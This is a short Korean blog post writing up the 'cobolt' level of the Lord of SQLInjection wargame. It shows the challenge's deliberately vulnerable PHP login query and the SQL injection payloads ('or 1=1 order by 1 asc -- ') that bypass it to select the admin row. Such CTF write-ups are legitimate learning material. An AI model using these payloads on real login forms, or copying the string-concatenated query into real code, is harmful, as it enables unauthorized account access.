늘모자란, 개발 :: [LOS] cobolt

늘모자란, 개발

 include "./config.php"; 
 login_chk();
 dbconnect();
 if(preg_match('/prob||.|()/i', $_GET[id])) exit("No Hack ~~"); 
 if(preg_match('/prob||.|()/i', $_GET[pw])) exit("No Hack ~~"); 
 $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
 echo "


query : {$query}


"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "

Hello {$result['id']} You are not admin :(

"; highlight_file(FILE); ?>

이거도 그냥 간단히 넘어보려고 다음과 같이 쿼리를 짰다

select id from prob_cobolt where id='1' and pw=md5('1') or 1=1 order by 1 desc -- a')

근데 리턴되는 값이 이상하다.

Hello rubiya
You are not admin :(

컬럼에 하나만 있을 줄 알았더니 몇개가 더 있나보다. 한 두개쯤 있을 것 같으니 (아마 세개째부터는 생각을 해야될것 같지만)

select id from prob_cobolt where id='1' and pw=md5('1') or 1=1 order by 1 asc -- a')

이런식으로 현재 select 되는 row가 아닌 다른 row를 선택되게 바꿔주면 pass

2017/06/19 16:48 2017/06/19 16:48